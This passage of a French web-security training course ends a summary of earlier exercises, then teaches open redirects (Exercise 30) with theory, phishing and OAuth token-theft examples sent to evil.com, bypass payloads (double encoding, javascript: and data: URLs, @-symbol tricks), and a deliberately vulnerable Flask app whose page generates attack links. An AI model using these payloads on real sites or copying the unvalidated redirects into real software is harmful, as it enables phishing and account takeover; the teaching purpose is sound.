└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 13. PATH TRAVERSAL (Exercice 15)                                           │
│     [OK] Directory traversal, file access controls                           │
│     [OK] Path normalization, chroot jail                                     │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 14. JWT VULNERABILITIES (Exercice 16)                                      │
│     [OK] None algorithm, weak secrets, token manipulation                    │
│     [OK] RS256/HS256 confusion, expiration validation                        │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 15. BROKEN AUTHENTICATION (Exercice 17)                                    │
│     [OK] Brute force, credential stuffing, MFA bypass                        │
│     [OK] Password policies, account lockout                                  │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 16. SESSION FIXATION (Exercice 18)                                         │
│     [OK] Session hijacking, regeneration, secure cookies                     │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 17. SSTI - SERVER-SIDE TEMPLATE INJECTION (Exercice 21)                   │
│     [OK] Jinja2, RCE via templates, sandbox escape                          │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 18. LDAP INJECTION (Exercice 20)                                           │
│     [OK] Authentication bypass, filter injection                             │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 19. RACE CONDITIONS (Exercice 22)                                          │
│     [OK] TOCTOU, transaction locking, atomic operations                      │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 20. FILE UPLOAD VULNERABILITIES (Exercice 23)                              │
│     [OK] RCE via uploads, magic bytes, content validation                    │
│     [OK] Metadata stripping, antivirus scanning                              │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 21. .ENV FILE EXPOSURE (Exercice 26)                                       │
│     [OK] Secret management, environment variables                            │
│     [OK] Git secrets scanning, vault integration                             │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 22. HTTP REQUEST SMUGGLING (Exercice 27)                                   │
│     [OK] CL.TE, TE.CL desync attacks                                         │
│     [OK] Request normalization, HTTP/2                                       │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 23. BUSINESS LOGIC VULNERABILITIES (Exercice 28)                           │
│     [OK] Price manipulation, coupon abuse, refund exploitation               │
│     [OK] Race conditions, workflow bypass                                    │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ 24. CORS MISCONFIGURATION (Exercice 29)                                    │
│     [OK] Origin reflection, wildcard abuse, null origin                      │
│     [OK] Whitelist validation, subdomain bypass                              │
└─────────────────────────────────────────────────────────────────────────────┘

═══════════════════════════════════════════════════════════════════════════════

[GRAPHIQUE] STATISTIQUES GLOBALES :

   [OK] 29 exercices complétés
   [OK] 24 types de vulnérabilités majeures
   [OK] 150+ heures de contenu ultra-détaillé
   [OK] 50+ applications vulnérables créées
   [OK] 50+ applications sécurisées développées
   [OK] 100+ scripts d'exploitation automatisés
   [OK] 30+ cas réels documentés (Facebook, PayPal, etc.)
   [OK] 1000+ protections et bonnes pratiques
   
═══════════════════════════════════════════════════════════════════════════════

[OBJECTIF] COMPÉTENCES ACQUISES :

   ***** Identification des vulnérabilités
   ***** Exploitation avec POC fonctionnels
   ***** Remediation avec code sécurisé
   ***** Architecture sécurisée
   ***** Automatisation avec Python
   ****   Pentest web complet
   ****   Bug bounty hunting
   ****   Security code review
   ****   DevSecOps practices

═══════════════════════════════════════════════════════════════════════════════

[ARGENT] VALEUR ESTIMÉE :

   Bug Bounties potentiels : $50,000 - $100,000+
   Salaire Security Engineer : $80,000 - $150,000/an
   Consultant Security : $150 - $300/heure
   
═══════════════════════════════════════════════════════════════════════════════

[RAPIDE] PROCHAINES ÉTAPES :

   1. PRATIQUE :
      • HackTheBox, TryHackMe, PortSwigger Academy
      • Bug bounty sur HackerOne, Bugcrowd
      • CTF competitions (DEF CON, CSAW)
   
   2. CERTIFICATIONS :
      • OSCP (Offensive Security Certified Professional)
      • OSWE (Web Expert)
      • CEH (Certified Ethical Hacker)
      • GWAPT (Web Application Penetration Testing)
   
   3. SPÉCIALISATIONS :
      • Mobile App Security (iOS/Android)
      • API Security (REST, GraphQL, gRPC)
      • Cloud Security (AWS, Azure, GCP)
      • Blockchain/Smart Contract Security
      • IoT Security
   
   4. VEILLE SÉCURITÉ :
      • Twitter: @hackerone, @portswigger, @bugcrowd
      • Blogs: PortSwigger Research, Google Project Zero
      • Podcasts: Darknet Diaries, Risky Business
      • Newsletters: tl;dr sec, Hacker Newsletter
   
   5. COMMUNAUTÉ :
      • Discord servers (Bug Bounty, CTF)
      • Local OWASP chapters
      • Security conferences (Black Hat, DEF CON, BSides)

═══════════════════════════════════════════════════════════════════════════════

[TROPHEE] FÉLICITATIONS !

Vous avez terminé un cours ultra-complet de sécurité web avec :
   • Théorie approfondie avec analogies pédagogiques
   • Pratique intensive avec code complet
   • Cas réels de l'industrie
   • Outils et méthodologies professionnels
   
Vous êtes maintenant équipé pour :
   [OK] Identifier et exploiter les vulnérabilités web
   [OK] Sécuriser des applications de production
   [OK] Faire du bug bounty professionnel
   [OK] Devenir Security Engineer / Pentester
   [OK] Former d'autres développeurs
   
Continuez à pratiquer, restez à jour avec les nouvelles vulnérabilités,
et n'oubliez jamais : ÉTHIQUE AVANT TOUT !

═══════════════════════════════════════════════════════════════════════════════

                    [COURS] COURS TERMINÉ AVEC SUCCÈS ! [COURS]

═══════════════════════════════════════════════════════════════════════════════
"""

print(COURSE_SUMMARY)
```

---

## [BRAVO] CONCLUSION FINALE

Félicitations ! Vous avez maintenant :

[OK] **29 exercices complets** couvrant toutes les vulnérabilités web majeures
[OK] **Applications vulnérables et sécurisées** pour chaque type de faille
[OK] **Scripts d'exploitation automatisés** prêts à l'emploi
[OK] **Cas réels documentés** de l'industrie (Facebook, PayPal, etc.)
[OK] **Protections complètes** avec code production-ready
[OK] **Checklists et guides** pour chaque vulnérabilité
[OK] **Tests automatisés** pour valider la sécurité
[OK] **Méthodologies professionnelles** de pentesting

**Vous êtes maintenant prêt à :**
- [OBJECTIF] Faire du bug bounty professionnel
- [PRO] Devenir Security Engineer
- [RECHERCHE] Faire du pentesting d'applications web
- [PERSONNE][ECOLE] Former d'autres développeurs
- [ENTREPRISE] Sécuriser des applications en production

**N'oubliez jamais : Avec de grandes compétences viennent de grandes responsabilités. Utilisez ces connaissances de manière éthique !** [SECURITE]

# 30. OPEN REDIRECT VULNERABILITIES

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce qu'un Open Redirect ?

**Open Redirect** est une vulnérabilité qui permet à un attaquant de **rediriger les utilisateurs vers des sites externes malveilleux** en manipulant les paramètres de redirection d'une application de confiance.

**Analogie simple :**

Imagine un panneau de signalisation routière avec une flèche "Direction Paris" :
- **Usage normal** : La flèche pointe vers Paris (destination de confiance)
- **Open Redirect** : Un attaquant change la flèche pour pointer vers un précipice, mais le panneau dit toujours "Direction Paris"
- **Victime** : Fait confiance au panneau (site de confiance) et suit la flèche -> tombe dans le piège

-> L'utilisateur fait confiance à l'**URL d'origine** (https://bank.com) mais est redirigé vers un site malveilleux !

---

## [OBJECTIF] POURQUOI C'EST DANGEREUX ?

### 1. **Phishing crédible**

```
URL légitime (que l'utilisateur voit et fait confiance) :
https://bank.com/logout?redirect=https://evil.com

L'utilisateur clique sur un lien qui semble provenir de bank.com
-> Redirigé vers evil.com qui ressemble EXACTEMENT à bank.com
-> Entre ses credentials sur le faux site
-> Credentials volés
```

**Pourquoi c'est efficace ?**
- L'URL commence par `https://bank.com` (domaine de confiance)
- L'utilisateur ne lit pas toute l'URL
- Passe les filtres anti-phishing (domaine légitime)

---

### 2. **Bypass whitelist de domaines**

```python
# Application A (réseau social) accepte seulement :
ALLOWED_DOMAINS = ['facebook.com', 'instagram.com']

# Mais facebook.com a un open redirect :
https://facebook.com/logout?next=https://evil.com

# L'attaquant peut maintenant :
1. Poster un lien vers facebook.com (autorisé)
2. Ce lien redirige vers evil.com (malware)
3. Bypass de la whitelist !
```

---

### 3. **OAuth exploitation**

```
# OAuth flow normal :
https://bank.com/oauth/authorize?
  client_id=app123&
  redirect_uri=https://trustedapp.com/callback&
  state=xyz

# Avec open redirect sur trustedapp.com :
https://bank.com/oauth/authorize?
  client_id=app123&
  redirect_uri=https://trustedapp.com/callback?next=https://evil.com&
  state=xyz

-> Token OAuth envoyé à evil.com !
```

---

## [DANGER] TYPES D'OPEN REDIRECT

### 1. **URL Parameter-based**

```python
# [X] Code vulnérable
@app.route('/logout')
def logout():
    redirect_url = request.args.get('next', '/')
    return redirect(redirect_url)  # [X] Pas de validation

# Exploitation :
https://site.com/logout?next=https://evil.com
```

---

### 2. **Header-based**

```python
# [X] Vulnérable
@app.route('/redirect')
def redirect_page():
    referer = request.headers.get('Referer')
    return redirect(referer)  # [X] Header contrôlable

# Exploitation :
curl https://site.com/redirect -H "Referer: https://evil.com"
```

---

### 3. **Path-based**

```python
# [X] Vulnérable
@app.route('/goto/<path:url>')
def goto(url):
    return redirect(url)  # [X] Path parameter non validé

# Exploitation :
https://site.com/goto/https://evil.com
```

---

### 4. **Fragment-based (Client-side)**

```javascript
// [X] JavaScript vulnérable
const destination = window.location.hash.substring(1);
window.location = destination;  // [X] Pas de validation

// Exploitation :
https://site.com/page#https://evil.com
```

---

### 5. **Double Encoding**

```
# Bypass de validation faible
Normal: https://evil.com
URL encoded: https%3A%2F%2Fevil.com
Double encoded: https%253A%252F%252Fevil.com

# Si validation décode une seule fois, double encoding bypass !
```

---

### 6. **Protocol Confusion**

```
# Validation vérifie seulement http/https
javascript:alert(document.cookie)
data:text/html,<script>alert(1)</script>
file:///etc/passwd
ftp://attacker.com
```

---

## [ALERTE] CAS RÉELS MAJEURS

### 1. **Google (2012) - OAuth Token Theft**

**Faille :** Open redirect sur google.com

**Exploitation :**
```
https://www.google.com/url?q=https://evil.com

-> OAuth apps utilisant google.com comme redirect_uri
-> Tokens volés via open redirect
```

**Bounty :** $5,000

---

### 2. **Facebook (2015) - Account Takeover**

**Faille :** Open redirect sur l.facebook.com

**Exploitation :**
```
https://l.facebook.com/l.php?u=https://evil.com&h=...

-> Phishing campaigns très crédibles
-> OAuth token interception
```

**Bounty :** $7,500

---

### 3. **Microsoft (2018) - Office 365 Phishing**

**Faille :** Open redirect sur login.microsoftonline.com

**Exploitation :**
```
https://login.microsoftonline.com/common/oauth2/authorize?
  redirect_uri=https://attacker.com

-> Phishing emails semblant provenir de Microsoft
-> Credentials Office 365 volés à grande échelle
```

**Impact :** Millions d'utilisateurs ciblés

---

### 4. **Twitter (2020) - OAuth Token Leak**

**Faille :** Open redirect dans l'app mobile

**Exploitation :**
```
twitter://redirect?url=https://evil.com

-> Deep link redirect non validé
-> OAuth tokens accessibles
```

**Bounty :** $6,000

---

### 5. **Slack (2019) - Workspace Infiltration**

**Faille :** Open redirect sur slack.com/sso

**Exploitation :**
```
https://slack.com/sso/redirect?url=https://evil.com

-> Phishing pour voler workspace credentials
-> SSO token interception
```

**Bounty :** $4,500

---

## [CODE] EXERCICE 30 : OPEN REDIRECT VULNERABILITIES

### Objectif

Application complète avec :
- Système d'authentification OAuth
- Multiples vecteurs de redirection
- Bypass techniques (encoding, protocols)
- Exploitation de phishing complète
- Version sécurisée avec whitelist stricte
- Tests automatisés

---

### PARTIE A : APPLICATION VULNÉRABLE

```python
# open_redirect_vulnerable.py
from flask import Flask, request, redirect, render_template_string, session, url_for, make_response
import secrets
import sqlite3
from datetime import datetime
from urllib.parse import urlparse, quote, unquote
import base64

app = Flask(__name__)
app.secret_key = 'insecure_key_123'

DB_FILE = 'users.db'

def init_db():
    """Initialiser la base de données"""
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            email TEXT,
            password TEXT NOT NULL,
            oauth_token TEXT,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS oauth_apps (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            app_name TEXT NOT NULL,
            client_id TEXT UNIQUE NOT NULL,
            client_secret TEXT NOT NULL,
            redirect_uri TEXT NOT NULL,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS sessions (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id INTEGER,
            session_token TEXT UNIQUE,
            ip_address TEXT,
            user_agent TEXT,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (user_id) REFERENCES users(id)
        )
    ''')
    
    # Utilisateurs exemple
    users = [
        ('alice', 'alice@example.com', 'alice123'),
        ('bob', 'bob@example.com', 'bob123'),
        ('charlie', 'charlie@example.com', 'charlie123')
    ]
    
    for username, email, password in users:
        try:
            cursor.execute('''
                INSERT INTO users (username, email, password)
                VALUES (?, ?, ?)
            ''', (username, email, password))
        except:
            pass
    
    # OAuth apps exemple
    apps = [
        ('TrustedApp', 'app_123', 'secret_abc', 'https://trustedapp.com/callback'),
        ('MobileApp', 'mobile_456', 'secret_xyz', 'myapp://callback'),
        ('TestApp', 'test_789', 'secret_test', 'http://localhost:8000/callback')
    ]
    
    for name, client_id, secret, redirect_uri in apps:
        try:
            cursor.execute('''
                INSERT INTO oauth_apps (app_name, client_id, client_secret, redirect_uri)
                VALUES (?, ?, ?, ?)
            ''', (name, client_id, secret, redirect_uri))
        except:
            pass
    
    conn.commit()
    conn.close()

init_db()

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>Social Platform - Open Redirect Demo</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            padding: 20px;
            color: white;
        }
        .container { max-width: 1800px; margin: 0 auto; }
        .header {
            background: rgba(0,0,0,0.6);
            padding: 30px;
            border-radius: 10px;
            margin-bottom: 30px;
            text-align: center;
        }
        .warning {
            background: #ff4444;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            font-weight: bold;
        }
        .grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(400px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        .card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 10px;
        }
        .card h3 { margin-bottom: 15px; color: #ffd700; }
        input, select, textarea {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
        }
        button {
            width: 100%;
            padding: 12px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            border-radius: 5px;
            color: white;
            font-weight: bold;
            cursor: pointer;
            margin-bottom: 10px;
        }
        .output {
            background: rgba(0,0,0,0.7);
            padding: 20px;
            border-radius: 10px;
            min-height: 150px;
            font-family: 'Courier New', monospace;
            white-space: pre-wrap;
            max-height: 500px;
            overflow-y: auto;
        }
        .attacks {
            background: rgba(255,68,68,0.2);
            border: 2px solid #ff4444;
            padding: 20px;
            border-radius: 10px;
        }
        .attack-item {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
        }
        .link-box {
            background: rgba(0,0,0,0.5);
            padding: 10px;
            border-radius: 5px;
            margin: 10px 0;
            word-break: break-all;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>[WEB] Social Platform</h1>
            <p>Open Redirect Vulnerability Demonstration</p>
        </div>
        
        <div class="warning">
            [ATTENTION] APPLICATION VULNÉRABLE - MULTIPLES OPEN REDIRECT VECTORS
        </div>
        
        <div class="grid">
            <!-- LOGIN -->
            <div class="card">
                <h3>[CLE] Login</h3>
                <input type="text" id="username" placeholder="Username" value="alice">
                <input type="password" id="password" placeholder="Password" value="alice123">
                <button onclick="login()">Login</button>
                <div id="login-status"></div>
            </div>
            
            <!-- LOGOUT WITH REDIRECT -->
            <div class="card">
                <h3>[SORTIE] Logout (with redirect)</h3>
                <input type="text" id="logout-next" placeholder="Redirect URL" value="/">
                <button onclick="logout()">Logout and Redirect</button>
                <p style="font-size: 12px; margin-top: 10px;">
                    Try: https://evil.com
                </p>
            </div>
            
            <!-- OAUTH FLOW -->
            <div class="card">
                <h3>[SECURISE] OAuth Authorization</h3>
                <select id="oauth-app">
                    <option value="app_123">TrustedApp</option>
                    <option value="mobile_456">MobileApp</option>
                    <option value="test_789">TestApp</option>
                </select>
                <input type="text" id="oauth-redirect" placeholder="redirect_uri" value="https://trustedapp.com/callback">
                <button onclick="initiateOAuth()">Authorize App</button>
            </div>
        </div>
        
        <div class="grid">
            <!-- CONTINUE READING -->
            <div class="card">
                <h3>[GUIDE] Continue Reading</h3>
                <input type="text" id="continue-url" placeholder="Article URL" value="/article/123">
                <button onclick="continueReading()">Continue</button>
            </div>
            
            <!-- EXTERNAL LINK -->
            <div class="card">
                <h3>[LIEN] External Link Warning</h3>
                <input type="text" id="external-url" placeholder="External URL" value="https://example.com">
                <button onclick="visitExternal()">Visit External Link</button>
            </div>
            
            <!-- DEEP LINK -->
            <div class="card">
                <h3>[MOBILE] Deep Link Redirect</h3>
                <input type="text" id="deeplink-url" placeholder="Deep Link" value="myapp://profile">
                <button onclick="openDeepLink()">Open in App</button>
            </div>
        </div>
        
        <div class="card">
            <h3>[GRAPHIQUE] Output Log</h3>
            <div class="output" id="output">Results will appear here...</div>
        </div>
        
        <div class="attacks">
            <h2>[DANGER] Open Redirect Attack Vectors</h2>
            
            <div class="attack-item">
                <h4>1. Basic Parameter Redirect</h4>
                <p>Simple URL parameter manipulation</p>
                <button onclick="attack1()">Generate Attack 1</button>
                <div class="link-box" id="attack1-link"></div>
            </div>
            
            <div class="attack-item">
                <h4>2. OAuth Redirect Hijacking</h4>
                <p>Steal OAuth tokens via redirect_uri</p>
                <button onclick="attack2()">Generate Attack 2</button>
                <div class="link-box" id="attack2-link"></div>
            </div>
            
            <div class="attack-item">
                <h4>3. Double Encoding Bypass</h4>
                <p>Bypass validation with double URL encoding</p>
                <button onclick="attack3()">Generate Attack 3</button>
                <div class="link-box" id="attack3-link"></div>
            </div>
            
            <div class="attack-item">
                <h4>4. Protocol Confusion</h4>
                <p>Use javascript: or data: protocols</p>
                <button onclick="attack4()">Generate Attack 4</button>
                <div class="link-box" id="attack4-link"></div>
            </div>
            
            <div class="attack-item">
                <h4>5. Whitelist Bypass - Subdomain</h4>
                <p>evil.com.trustedsite.com bypass</p>
                <button onclick="attack5()">Generate Attack 5</button>
                <div class="link-box" id="attack5-link"></div>
            </div>
            
            <div class="attack-item">
                <h4>6. Whitelist Bypass - @ Symbol</h4>
                <p>https://trustedsite.com@evil.com</p>
                <button onclick="attack6()">Generate Attack 6</button>
                <div class="link-box" id="attack6-link"></div>
            </div>
            
            <div class="attack-item">
                <h4>7. Fragment-based Client-side Redirect</h4>
                <p>JavaScript redirect via URL fragment</p>
                <button onclick="attack7()">Generate Attack 7</button>
                <div class="link-box" id="attack7-link"></div>
            </div>
            
            <div class="attack-item">
                <h4>8. Complete Phishing Campaign</h4>
                <p>Full exploitation chain with fake login page</p>
                <button onclick="attackChain()">Execute Full Chain</button>
            </div>
        </div>
    </div>
    
    <script>
        const BASE_URL = window.location.origin;
        
        function log(message) {
            const output = document.getElementById('output');
            const timestamp = new Date().toLocaleTimeString();
            output.textContent += `[${timestamp}] ${message}\n`;
            output.scrollTop = output.scrollHeight;
        }
        
        async function login() {
            const username = document.getElementById('username').value;
            const password = document.getElementById('password').value;
            
            try {
                const response = await fetch('/auth/login', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ username, password })
                });
                
                const data = await response.json();
                
                if (data.success) {
                    document.getElementById('login-status').textContent = '[OK] Logged in as ' + username;
                    log('Login successful: ' + username);
                } else {
                    log('Login failed');
                }
            } catch (e) {
                log('Error: ' + e.message);
            }
        }
        
        function logout() {
            const next = document.getElementById('logout-next').value;
            window.location.href = `/auth/logout?next=${encodeURIComponent(next)}`;
        }
        
        function initiateOAuth() {
            const clientId = document.getElementById('oauth-app').value;
            const redirectUri = document.getElementById('oauth-redirect').value;
            
            const url = `/oauth/authorize?client_id=${clientId}&redirect_uri=${encodeURIComponent(redirectUri)}&state=xyz123`;
            
            log('Initiating OAuth flow...');
            log('URL: ' + url);
            
            window.location.href = url;
        }
        
        function continueReading() {
            const url = document.getElementById('continue-url').value;
            window.location.href = `/continue?url=${encodeURIComponent(url)}`;
        }
        
        function visitExternal() {
            const url = document.getElementById('external-url').value;
            window.location.href = `/external?url=${encodeURIComponent(url)}`;
        }
        
        function openDeepLink() {
            const url = document.getElementById('deeplink-url').value;
            window.location.href = `/deeplink?url=${encodeURIComponent(url)}`;
        }
        
        // Attack functions
        function attack1() {
            const maliciousUrl = 'https://evil.com/phishing';
            const attackUrl = `${BASE_URL}/auth/logout?next=${encodeURIComponent(maliciousUrl)}`;
            
            document.getElementById('attack1-link').innerHTML = `
                <strong>Attack URL:</strong><br>
                <a href="${attackUrl}" target="_blank" style="color: #ff4444;">${attackUrl}</a><br><br>
                <strong>Scenario:</strong><br>
                1. Send this link to victim via email/message<br>
                2. Victim clicks (trusts ${BASE_URL} domain)<br>
                3. Redirected to evil.com that looks like this site<br>
                4. Victim enters credentials -> Stolen!
            `;
            
            log('Attack 1 generated: Basic redirect to evil.com');
        }
        
        function attack2() {
            const evilCallback = 'https://evil.com/steal-token';
            const attackUrl = `${BASE_URL}/oauth/authorize?client_id=app_123&redirect_uri=${encodeURIComponent(evilCallback)}&state=xyz`;
            
            document.getElementById('attack2-link').innerHTML = `
                <strong>Attack URL:</strong><br>
                <a href="${attackUrl}" target="_blank" style="color: #ff4444;">${attackUrl}</a><br><br>
                <strong>Scenario:</strong><br>
                1. Victim authorizes "TrustedApp"<br>
                2. OAuth token sent to evil.com instead<br>
                3. Attacker gains full account access
            `;
            
            log('Attack 2 generated: OAuth redirect hijacking');
        }
        
        function attack3() {
            const singleEncoded = encodeURIComponent('https://evil.com');
            const doubleEncoded = encodeURIComponent(singleEncoded);
            const attackUrl = `${BASE_URL}/auth/logout?next=${doubleEncoded}`;
            
            document.getElementById('attack3-link').innerHTML = `
                <strong>Attack URL:</strong><br>
                <a href="${attackUrl}" target="_blank" style="color: #ff4444;">${attackUrl}</a><br><br>
                <strong>Double Encoded:</strong> ${doubleEncoded}<br>
                <strong>Bypasses validation that only decodes once!</strong>
            `;
            
            log('Attack 3 generated: Double encoding bypass');
        }
        
        function attack4() {
            const jsProtocol = 'javascript:alert(document.cookie)';
            const dataProtocol = 'data:text/html,<script>alert(1)</script>';
            
            document.getElementById('attack4-link').innerHTML = `
                <strong>Protocol Confusion Attacks:</strong><br><br>
                <strong>JavaScript Protocol:</strong><br>
                ${BASE_URL}/continue?url=${encodeURIComponent(jsProtocol)}<br><br>
                <strong>Data Protocol:</strong><br>
                ${BASE_URL}/continue?url=${encodeURIComponent(dataProtocol)}<br><br>
                <strong>Both can execute code in victim's browser!</strong>
            `;
            
            log('Attack 4 generated: Protocol confusion');
        }
        
        function attack5() {
            const subdomainBypass = 'https://trustedsite.com.evil.com';
            const attackUrl = `${BASE_URL}/external?url=${encodeURIComponent(subdomainBypass)}`;
            
            document.getElementById('attack5-link').innerHTML = `
                <strong>Attack URL:</strong><br>
                <a href="${attackUrl}" target="_blank" style="color: #ff4444;">${attackUrl}</a><br><br>
                <strong>Bypasses validation checking if "trustedsite.com" is in URL</strong>
            `;
            
            log('Attack 5 generated: Subdomain bypass');
        }
        
        function attack6() {
            const atSymbolBypass = 'https://trustedsite.com@evil.com';
            const attackUrl = `${BASE_URL}/external?url=${encodeURIComponent(atSymbolBypass)}`;
            
            document.getElementById('attack6-link').innerHTML = `
                <strong>Attack URL:</strong><br>
                <a href="${attackUrl}" target="_blank" style="color: #ff4444;">${attackUrl}</a><br><br>
                <strong>Browser parses as:</strong><br>
                Username: trustedsite.com<br>
                Host: evil.com<br>
                <strong>But validation might only check for "trustedsite.com"!</strong>
            `;
            
            log('Attack 6 generated: @ symbol bypass');
        }
        
        function attack7() {
            const fragmentRedirect = `${BASE_URL}/redirect-js#https://evil.com`;
            
            document.getElementById('attack7-link').innerHTML = `
                <strong>Attack URL:</strong><br>
                <a href="${fragmentRedirect}" target="_blank" style="color: #ff4444;">${fragmentRedirect}</a><br><br>
                <strong>Client-side JavaScript reads fragment and redirects</strong><br>
                <strong>Server-side validation can't see fragment (#)</strong>
            `;
            
            log('Attack 7 generated: Fragment-based redirect');
        }
        
        function attackChain() {
            log('[DANGER] EXECUTING COMPLETE PHISHING CHAIN\n');
            log('Step 1: Create phishing page on evil.com');
            log('  -> Exact copy of this login page');
            log('  -> Hosted at https://evil.com/fake-login');
            log('');
            log('Step 2: Generate malicious link');
            const phishLink = `${BASE_URL}/auth/logout?next=https://evil.com/fake-login`;
            log('  -> ' + phishLink);
            log('');
            log('Step 3: Send via email/SMS');
            log('  Subject: "Security Alert: Please verify your account"');
            log('  Body: "Click here to verify: [link]"');
            log('');
            log('Step 4: Victim clicks link');
            log('  [OK] Sees trusted domain in browser: ' + BASE_URL);
            log('  [OK] Gets redirected to evil.com (looks identical)');
            log('');
            log('Step 5: Victim enters credentials on fake page');
            log('  -> Credentials sent to attacker server');
            log('  -> Attacker logs into real account');
            log('');
            log('[ALERTE] COMPLETE ACCOUNT TAKEOVER');
        }
    </script>
</body>
</html>
    ''')

# [X] ROUTES VULNÉRABLES

@app.route('/auth/login', methods=['POST'])
def login():
    """Login basique"""
    data = request.json
    username = data.get('username')
    password = data.get('password')
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('''
        SELECT * FROM users WHERE username = ? AND password = ?
    ''', (username, password))
    
    user = cursor.fetchone()
    conn.close()
    
    if not user:
        return jsonify({'error': 'Invalid credentials'}), 401
    
    session['user_id'] = user['id']
    session['username'] = user['username']
    
    return jsonify({
        'success': True,
        'user': dict(user)
    })

@app.route('/auth/logout')
def logout():
    """
    [X] VULNÉRABLE : Redirect sans validation
    """
    session.clear()
    
    # [X] ERREUR : Accepte n'importe quelle URL
    next_url = request.args.get('next', '/')
    
    return redirect(next_url)  # [X] Pas de validation !

@app.route('/oauth/authorize')
def oauth_authorize():
    """
    [X] VULNÉRABLE : OAuth redirect_uri pas validé
    """
    client_id = request.args.get('client_id')
    redirect_uri = request.args.get('redirect_uri')
    state = request.args.get('state', '')
    
    # Vérifier client_id
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('''
        SELECT * FROM oauth_apps WHERE client_id = ?
    ''', (client_id,))
    
    app = cursor.fetchone()
    conn.close()
    
    if not app:
        return "Invalid client_id", 400
    
    # [X] ERREUR : redirect_uri pas validé contre la DB
    # [X] Devrait vérifier que redirect_uri == app['redirect_uri']
    
    # Générer token
    oauth_token = secrets.token_hex(32)
    
    # [X] Rediriger vers redirect_uri fourni (pas validé)
    callback_url = f"{redirect_uri}?code={oauth_token}&state={state}"
    
    return redirect(callback_url)  # [X] Redirection vers URL non validée !

@app.route('/continue')
def continue_reading():
    """
    [X] VULNÉRABLE : Continue reading redirect
    """
    url = request.args.get('url', '/')
    
    # [X] ERREUR : Accepte n'importe quelle URL
    return redirect(url)

@app.route('/external')
def external_link():
    """
    [X] VULNÉRABLE : External link avec validation faible
    """
    url = request.args.get('url')
    
    # [X] ERREUR : Validation faible avec "in"
    if 'trustedsite.com' in url:
        return redirect(url)  # [X] Bypass possible
    
    return redirect(url)  # [X] Redirect même si pas validé !

@app.route('/deeplink')
def deeplink_redirect():
    """
    [X] VULNÉRABLE : Deep link redirect
    """
    url = request.args.get('url')
    
    # [X] ERREUR : Accepte custom protocols
    return redirect(url)  # [X] Permet javascript:, data:, etc.

@app.route('/goto/<path:destination>')
def goto_path(destination):
    """
    [X] VULNÉRABLE : Path-based redirect
    """
    # [X] ERREUR : Path parameter devient URL
    return redirect(destination)

@app.route('/redirect-js')
def redirect_js():
    """
    [X] VULNÉRABLE : Client-side redirect via fragment
    """
    return render_template_string('''
<!DOCTYPE html>
<html>
<head><title>Redirecting...</title></head>
<body>
    <p>Redirecting...</p>
    <script>
        // [X] ERREUR : Lit fragment et redirige sans validation
        const destination = window.location.hash.substring(1);
        if (destination) {
            window.location = destination;  // [X] Pas de validation
        }
    </script>
</body>
</html>
    ''')

@app.route('/r')
def short_redirect():
    """
    [X] VULNÉRABLE : URL shortener redirect
    """
    # En base64 pour "cacher" la destination
    encoded_url = request.args.get('u')
    
    if encoded_url:
        try:
            # [X] ERREUR : Decode et redirige sans validation
            url = base64.b64decode(encoded_url).decode('utf-8')
            return redirect(url)
        except:
            pass
    
    return "Invalid URL", 400

if __name__ == '__main__':
    print("[WEB] Social Platform (VULNÉRABLE) sur http://localhost:5000")
    print("[ATTENTION]  DANGER : Multiples Open Redirect Vulnerabilities!")
    print("\n[DANGER] Vecteurs vulnérables :")
    print("   1. /auth/logout?next= - Basic redirect")
